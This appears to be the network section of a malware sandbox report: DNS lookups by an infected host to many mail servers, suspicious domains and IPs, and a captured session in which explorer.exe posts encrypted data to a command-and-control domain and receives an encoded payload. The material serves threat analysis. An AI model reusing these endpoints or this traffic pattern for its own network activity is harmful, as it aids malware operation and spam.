Aug 24, 2021 14:03:18.706177950 CEST	8.8.8.8	192.168.2.3	0x917a	No error (0)	eur.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.706177950 CEST	8.8.8.8	192.168.2.3	0x917a	No error (0)	eur.olc.protection.outlook.com		104.47.14.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.720844984 CEST	8.8.8.8	192.168.2.3	0xfdba	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:18.720844984 CEST	8.8.8.8	192.168.2.3	0xfdba	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.004441977 CEST	8.8.8.8	192.168.2.3	0xbad6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.004441977 CEST	8.8.8.8	192.168.2.3	0xbad6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.063941956 CEST	8.8.8.8	192.168.2.3	0xbfa	No error (0)	eur.olc.protection.outlook.com		104.47.6.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.063941956 CEST	8.8.8.8	192.168.2.3	0xbfa	No error (0)	eur.olc.protection.outlook.com		104.47.5.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.496129990 CEST	8.8.8.8	192.168.2.3	0xd018	No error (0)	lakeshoresewing.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:19.674115896 CEST	8.8.8.8	192.168.2.3	0x30f6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.674115896 CEST	8.8.8.8	192.168.2.3	0x30f6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.764157057 CEST	8.8.8.8	192.168.2.3	0x749f	No error (0)	lakeshoresewing.com		72.52.161.193	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.968027115 CEST	8.8.8.8	192.168.2.3	0xe43c	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:19.968027115 CEST	8.8.8.8	192.168.2.3	0xe43c	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:20.271521091 CEST	8.8.8.8	192.168.2.3	0x7dc7	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:20.271521091 CEST	8.8.8.8	192.168.2.3	0x7dc7	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:20.693360090 CEST	8.8.8.8	192.168.2.3	0x3146	No error (0)	seznam.cz			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:20.693360090 CEST	8.8.8.8	192.168.2.3	0x3146	No error (0)	seznam.cz			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:20.894527912 CEST	8.8.8.8	192.168.2.3	0x1910	No error (0)	mx1.seznam.cz		77.75.76.42	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:20.894527912 CEST	8.8.8.8	192.168.2.3	0x1910	No error (0)	mx1.seznam.cz		77.75.78.42	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.161070108 CEST	8.8.8.8	192.168.2.3	0x26ba	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.161070108 CEST	8.8.8.8	192.168.2.3	0x26ba	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.398401022 CEST	8.8.8.8	192.168.2.3	0x4b87	No error (0)	ntlworld.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:22.476736069 CEST	8.8.8.8	192.168.2.3	0x9b06	No error (0)	mx.tb.ukmail.iss.as9143.net		212.54.56.11	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.914488077 CEST	8.8.8.8	192.168.2.3	0x3a9b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:22.914488077 CEST	8.8.8.8	192.168.2.3	0x3a9b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:23.304003000 CEST	8.8.8.8	192.168.2.3	0x188	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:23.304003000 CEST	8.8.8.8	192.168.2.3	0x188	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:23.452218056 CEST	8.8.8.8	192.168.2.3	0xb9b5	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:23.967591047 CEST	8.8.8.8	192.168.2.3	0xd068	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:23.967591047 CEST	8.8.8.8	192.168.2.3	0xd068	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:24.357340097 CEST	8.8.8.8	192.168.2.3	0x4c70	No error (0)	aurora.org			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:24.357340097 CEST	8.8.8.8	192.168.2.3	0x4c70	No error (0)	aurora.org			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:24.834287882 CEST	8.8.8.8	192.168.2.3	0xbcfb	No error (0)	mxb-001ada02.gslb.pphosted.com		148.163.133.225	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:25.395085096 CEST	8.8.8.8	192.168.2.3	0x87f0	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:25.395085096 CEST	8.8.8.8	192.168.2.3	0x87f0	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.368413925 CEST	8.8.8.8	192.168.2.3	0x9b6	No error (0)	uth.tmc.edu			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.368413925 CEST	8.8.8.8	192.168.2.3	0x9b6	No error (0)	uth.tmc.edu			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.368413925 CEST	8.8.8.8	192.168.2.3	0x9b6	No error (0)	uth.tmc.edu			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.368413925 CEST	8.8.8.8	192.168.2.3	0x9b6	No error (0)	uth.tmc.edu			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.368413925 CEST	8.8.8.8	192.168.2.3	0x9b6	No error (0)	uth.tmc.edu			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.368413925 CEST	8.8.8.8	192.168.2.3	0x9b6	No error (0)	uth.tmc.edu			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:27.513729095 CEST	8.8.8.8	192.168.2.3	0x6476	No error (0)	mtamxiplp003.uth.tmc.edu		129.106.148.13	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.553155899 CEST	8.8.8.8	192.168.2.3	0xaaf1	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.553155899 CEST	8.8.8.8	192.168.2.3	0xaaf1	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.864061117 CEST	8.8.8.8	192.168.2.3	0x8ea9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:27.864061117 CEST	8.8.8.8	192.168.2.3	0x8ea9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.374047995 CEST	8.8.8.8	192.168.2.3	0x4c37	No error (0)	winco.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:28.374047995 CEST	8.8.8.8	192.168.2.3	0x4c37	No error (0)	winco.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:28.374047995 CEST	8.8.8.8	192.168.2.3	0x4c37	No error (0)	winco.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:28.374047995 CEST	8.8.8.8	192.168.2.3	0x4c37	No error (0)	winco.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:28.585864067 CEST	8.8.8.8	192.168.2.3	0x4d28	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.585864067 CEST	8.8.8.8	192.168.2.3	0x4d28	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.642431021 CEST	8.8.8.8	192.168.2.3	0x94a8	No error (0)	winco.net.mx1.greymail.rcimx.net		208.80.202.60	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.642431021 CEST	8.8.8.8	192.168.2.3	0x94a8	No error (0)	winco.net.mx1.greymail.rcimx.net		208.80.203.60	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.906498909 CEST	8.8.8.8	192.168.2.3	0xc2c3	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:28.906498909 CEST	8.8.8.8	192.168.2.3	0xc2c3	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.208034992 CEST	8.8.8.8	192.168.2.3	0xb249	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.208034992 CEST	8.8.8.8	192.168.2.3	0xb249	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.608002901 CEST	8.8.8.8	192.168.2.3	0x5de6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.608002901 CEST	8.8.8.8	192.168.2.3	0x5de6	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.886094093 CEST	8.8.8.8	192.168.2.3	0x8b8	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:29.886094093 CEST	8.8.8.8	192.168.2.3	0x8b8	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.179213047 CEST	8.8.8.8	192.168.2.3	0x9b4c	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.179213047 CEST	8.8.8.8	192.168.2.3	0x9b4c	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.449719906 CEST	8.8.8.8	192.168.2.3	0xb040	No error (0)	eur.olc.protection.outlook.com		104.47.6.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.449719906 CEST	8.8.8.8	192.168.2.3	0xb040	No error (0)	eur.olc.protection.outlook.com		104.47.5.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.450330019 CEST	8.8.8.8	192.168.2.3	0xfc73	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.450330019 CEST	8.8.8.8	192.168.2.3	0xfc73	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.756372929 CEST	8.8.8.8	192.168.2.3	0x464	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:30.756372929 CEST	8.8.8.8	192.168.2.3	0x464	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.577769995 CEST	8.8.8.8	192.168.2.3	0x380d	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.577769995 CEST	8.8.8.8	192.168.2.3	0x380d	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.876902103 CEST	8.8.8.8	192.168.2.3	0x5bc3	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.876902103 CEST	8.8.8.8	192.168.2.3	0x5bc3	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.879962921 CEST	8.8.8.8	192.168.2.3	0xae26	No error (0)	eur.olc.protection.outlook.com		104.47.6.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:31.879962921 CEST	8.8.8.8	192.168.2.3	0xae26	No error (0)	eur.olc.protection.outlook.com		104.47.5.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:32.111677885 CEST	8.8.8.8	192.168.2.3	0xf587	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:32.111677885 CEST	8.8.8.8	192.168.2.3	0xf587	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:32.935889006 CEST	8.8.8.8	192.168.2.3	0xb48c	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:32.935889006 CEST	8.8.8.8	192.168.2.3	0xb48c	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.254606962 CEST	8.8.8.8	192.168.2.3	0x4176	No error (0)	msn-com.olc.protection.outlook.com		104.47.0.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.254606962 CEST	8.8.8.8	192.168.2.3	0x4176	No error (0)	msn-com.olc.protection.outlook.com		104.47.2.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.254889011 CEST	8.8.8.8	192.168.2.3	0xb79a	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.254889011 CEST	8.8.8.8	192.168.2.3	0xb79a	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.570050955 CEST	8.8.8.8	192.168.2.3	0x92d3	No error (0)	eur.olc.protection.outlook.com		104.47.6.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:33.570050955 CEST	8.8.8.8	192.168.2.3	0x92d3	No error (0)	eur.olc.protection.outlook.com		104.47.5.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.069931984 CEST	8.8.8.8	192.168.2.3	0x3da9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.069931984 CEST	8.8.8.8	192.168.2.3	0x3da9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.529021978 CEST	8.8.8.8	192.168.2.3	0xad30	No error (0)	msn-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.529021978 CEST	8.8.8.8	192.168.2.3	0xad30	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.752260923 CEST	8.8.8.8	192.168.2.3	0xce4e	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.752260923 CEST	8.8.8.8	192.168.2.3	0xce4e	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:34.939830065 CEST	8.8.8.8	192.168.2.3	0x2499	No error (0)	psci.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:34.939830065 CEST	8.8.8.8	192.168.2.3	0x2499	No error (0)	psci.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:34.939830065 CEST	8.8.8.8	192.168.2.3	0x2499	No error (0)	psci.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:34.939830065 CEST	8.8.8.8	192.168.2.3	0x2499	No error (0)	psci.net			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:35.123799086 CEST	8.8.8.8	192.168.2.3	0xb5b0	No error (0)	eur.olc.protection.outlook.com		104.47.6.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.123799086 CEST	8.8.8.8	192.168.2.3	0xb5b0	No error (0)	eur.olc.protection.outlook.com		104.47.5.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.134422064 CEST	8.8.8.8	192.168.2.3	0x727	No error (0)	psci.net.mx1.greymail.rcimx.net		208.80.202.60	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.134422064 CEST	8.8.8.8	192.168.2.3	0x727	No error (0)	psci.net.mx1.greymail.rcimx.net		208.80.203.60	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.371035099 CEST	8.8.8.8	192.168.2.3	0x70e	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.371035099 CEST	8.8.8.8	192.168.2.3	0x70e	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.408950090 CEST	8.8.8.8	192.168.2.3	0x20	No error (0)	live.com			MX (Mail exchange)	IN (0x0001)
Aug 24, 2021 14:03:35.478077888 CEST	8.8.8.8	192.168.2.3	0xf555	No error (0)	live-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:35.478077888 CEST	8.8.8.8	192.168.2.3	0xf555	No error (0)	live-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.174595118 CEST	8.8.8.8	192.168.2.3	0x55fb	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.174595118 CEST	8.8.8.8	192.168.2.3	0x55fb	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.328784943 CEST	8.8.8.8	192.168.2.3	0x5cf3	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.328784943 CEST	8.8.8.8	192.168.2.3	0x5cf3	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.990842104 CEST	8.8.8.8	192.168.2.3	0x516d	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:36.990842104 CEST	8.8.8.8	192.168.2.3	0x516d	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:37.765031099 CEST	8.8.8.8	192.168.2.3	0x23b7	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:37.765031099 CEST	8.8.8.8	192.168.2.3	0x23b7	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:38.590810061 CEST	8.8.8.8	192.168.2.3	0xc9f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Aug 24, 2021 14:03:38.590810061 CEST	8.8.8.8	192.168.2.3	0xc9f	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

readinglistforaugust3.xyz

swretjhwrtj.gq

185.49.70.90:2080

188.34.200.103

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49723	212.224.105.79	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 24, 2021 14:01:28.617388010 CEST	5332	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 212 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:28.617446899 CEST	5333	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 85 1c 21 bc d5 4a 98 47 ba bf c6 e4 8c 4a Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q!JGJT_Ox4uUR?)LVgS.:QhrLHrfkcUCdV6\H.sFh;)4(* \Xp
Aug 24, 2021 14:01:28.695416927 CEST	5334	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 33 66 66 36 36 0d 0a 19 00 00 00 0f ca 2f 86 77 38 03 07 60 d2 80 a2 bd 69 d9 2a 54 11 f9 3f 11 11 69 c6 03 00 ca e6 04 00 01 d0 ea 5b 01 07 01 00 09 00 9c 03 00 00 9f 24 2b 84 9b 15 0f 1b 8d 31 3e 1f 89 00 1a 00 9a 9e 36 eb 35 c6 1f 1b 28 74 b4 ea e8 ba a8 25 a8 83 82 1b 73 98 df ea a8 d4 7e 16 a7 ef 2c 3e c2 32 14 ea be ef 24 3e 44 3a 13 90 7d 7e 96 3b 32 55 c2 af b2 7b 11 87 ff 09 93 b8 0e 89 4b 95 cb 9a bb 7e 96 48 44 e1 80 c2 33 8f c5 d0 d9 53 6d 17 df f2 e8 40 70 c8 8c 5b a2 7d 08 fb 77 ac b1 da 74 68 df 2b 53 27 b4 4d 72 56 b6 6f 03 90 e0 b7 2e bd 97 54 51 d0 24 c3 4a ff 42 97 9f a3 7e 79 5d 43 0d c5 83 80 6a 74 a6 9b 8d 69 d5 01 98 3e 25 7d c0 5c 60 26 0e 9f 7d 03 0a f7 f8 bd 9a 54 e0 ee 28 f7 34 f4 2f d0 8c 1e 0c 81 10 65 a1 bd 57 6f a5 98 bb b7 84 ef a1 b2 95 45 71 c2 0e c2 db ce de df 0d 32 48 57 a1 05 14 7e e4 f3 6d 49 73 a4 95 73 72 7e 2f 8c 8d df bc ae af 30 1b ae 49 95 a1 e1 82 bf c9 5c 5c 1e ea ec be 4a 0e 4d 26 50 4d a1 0f 25 77 b9 78 a7 a3 e4 48 f3 77 68 be 20 f2 7f b2 8b 88 bb 1f a1 28 57 50 e1 f4 60 cb 93 bf 5a 5e 7f 5d 54 b6 04 a6 3f fd 8a 05 83 18 e7 4c 8e d0 16 e2 c2 c8 9c e0 de 7c 62 9d fc 80 0b 82 d3 1a 9a b7 3d 67 c1 c7 09 b0 da 98 f4 df a6 e2 bf 34 64 06 bd cc 4b 23 5d b2 f6 90 1a 5e 08 07 8b e1 b4 d7 b1 87 4f 0a 40 85 48 44 9d 22 6c d2 e4 64 30 e5 28 45 d7 b7 95 6f 44 6d 98 4f f7 24 09 b9 cd c5 78 d4 b9 26 5f fe 35 ae 11 99 71 e2 8e a1 6c 28 f7 8f ef 97 a0 4d 1b 8c b6 b4 d0 76 f4 2c 5b 7d 92 dd 01 a7 1e ec c1 19 e6 ca ca ab 84 31 b4 be c5 d6 c6 2b cc 67 14 cf 59 cb 79 4e c7 cd 9e a3 e0 13 8d 90 65 b7 d2 4c 1f 71 bc 21 5e 7e f5 1b ca a3 a7 59 e4 af f4 03 e1 e7 d4 0c 7d 8f 06 8d 47 10 b0 b5 c5 0a 91 e3 74 92 3b e0 3a 5f 81 e4 ca 30 53 48 2b 7c ce 8f a6 21 61 85 16 7a 1d 4c 83 ed 89 18 08 96 38 8a b2 74 70 5e 90 e5 f0 9a 0e 54 32 1b ff be 50 40 27 48 81 b0 b0 d2 44 2f a9 82 63 2b 40 34 ac e0 5a 84 7c da e9 4e fc 17 5a 66 70 00 11 e3 d1 e2 79 47 1a 8d b4 00 b0 db 14 e8 54 94 38 23 e6 d9 94 3d 42 13 2a f9 af 54 f1 d8 f7 b4 0f 6e c0 03 2b 57 dc da 77 02 5a 65 e0 66 91 02 29 ed b2 cc 4c 8f 21 d3 9c 04 d0 86 e1 7d b9 cc ff ae b5 75 2b c6 8a 7b 79 3e 20 d3 cc ed a9 48 4b 8b 40 dc 74 94 a9 4d 5b ef 95 f5 82 73 8c 44 c1 9f 4a 5d 1d 30 c6 2a 97 99 d4 a2 9c 2c 25 57 d1 39 a6 c5 df ff 04 8e c4 79 3f 20 01 53 02 d1 69 3a 77 0f 2c 71 f4 95 d4 73 ae 8a 22 30 6f 21 40 5b e5 1d b6 7c 14 52 ba 02 65 cc f4 45 93 f6 4f f6 e6 e2 57 c7 20 13 ea dc 43 ab dc ba f5 a4 04 99 c9 71 fd a8 17 1e 54 40 8e 8c 73 90 f5 b5 c0 f6 c4 5a d8 ce f7 9a 4b 90 ec ea 10 27 d9 62 02 b7 d2 5a bb 08 fb 19 27 87 f0 12 4e e0 4a 1a 46 c4 09 d9 cb a1 b9 27 d8 1d 95 7a c6 78 12 a8 2e fd 61 dd 7f ed 3e a2 8d f3 ae bd a3 b6 67 0c ac ee 95 f1 13 a2 1a c3 3d fe 66 ca 45 34 c6 65 67 ca 4c 79 d1 f1 b4 74 8d 7e e3 da b7 8a 9c 02 dd e5 f6 5f c8 f9 c6 61 bc a4 96 ba ce af 62 b8 18 eb 32 ef 43 9c cc dc 65 98 37 1a 0b 52 de ed 54 ff f9 7e 97 e9 26 ec fe 32 44 58 96 c1 dc 19 85 ab 65 c5 b3 c7 ee 0e b7 14 80 7e 3e 00 d9 fb 05 10 4f 7a fe 01 5c 60 7d de 57 35 48 e7 a6 41 29 88 6b d5 e5 96 52 ac b3 a1 d7 53 8f 46 94 b4 53 09 37 83 48 ad 3d 11 47 fb 2f 84 f0 83 08 c7 ed 69 b8 02 3b a6 2b 95 7c 09 ee 24 7e 8e 50 bd 22 00 a0 d8 e9 53 c5 bc f1 bf 95 30 46 6f c4 f1 93 61 a6 fe f6 12 24 ef 67 0a 4d 9d 25 7f 48 9f 5c c0 37 e1 97 f3 25 c6 a1 57 03 e7 f3 8e cf 20 ce af 10 68 8f 53 60 bb 28 5f e4 34 44 4b ff b0 09 7e 95 9c 3e 32 b5 29 8d 65 99 25 72 4b Data Ascii: 3ff66/w8`iT?i[$+1>65(t%s~,>2$>D:}~;2U{K~HD3Sm@p[}wth+S'MrVo.TQ$JB~y]Cjti>%}\`&}T(4/eWoEq2HW~mIssr~/0I\\JM&PM%wxHwh (WP`Z^]T?L\|b=g4dK#]^O@HD"ld0(EoDmO$x&_5ql(Mv,[}1+gYyNeLq!^~Y}Gt;:_0SH+\|!azL8tp^T2P@'HD/c+@4Z\|NZfpyGT8#=BTn+WwZef)L!}u+{y> HK@tM[sDJ]0*,%W9y? Si:w,qs"0o!@[\|ReEOW CqT@sZK'bZ'NJF'zx.a>g=fE4egLyt~_ab2Ce7RT~&2DXe~>Oz\`}W5HA)kRSFS7H=G/i;+\|$~P"S0Foa$gM%H\7%W hS`(_4DK~>2)e%rK
Aug 24, 2021 14:01:28.695451975 CEST	5335	IN	Data Raw: b7 8b 22 4d 21 4f 11 36 84 b5 a6 2e 2d 89 1c b2 9a 47 06 86 73 70 2f 94 d1 8c 2b c2 c9 c0 0c 6e dc 64 43 ba c9 93 53 82 13 42 09 69 27 5d 7f 05 d2 37 0b e6 4a e5 55 b4 4b 54 62 00 8a 3e e1 8e 12 e5 e4 bb 9f 49 35 b2 d1 fd 76 dd da a5 c8 66 80 19 Data Ascii: "M!O6.-Gsp/+ndCSBi']7JUKTb>I5vf7wVO1Y6PmgoH\G/ap-E;-_3m]Wf=er9XTU^z1,Afcr8-UceO{)t` b(xj,9GTc
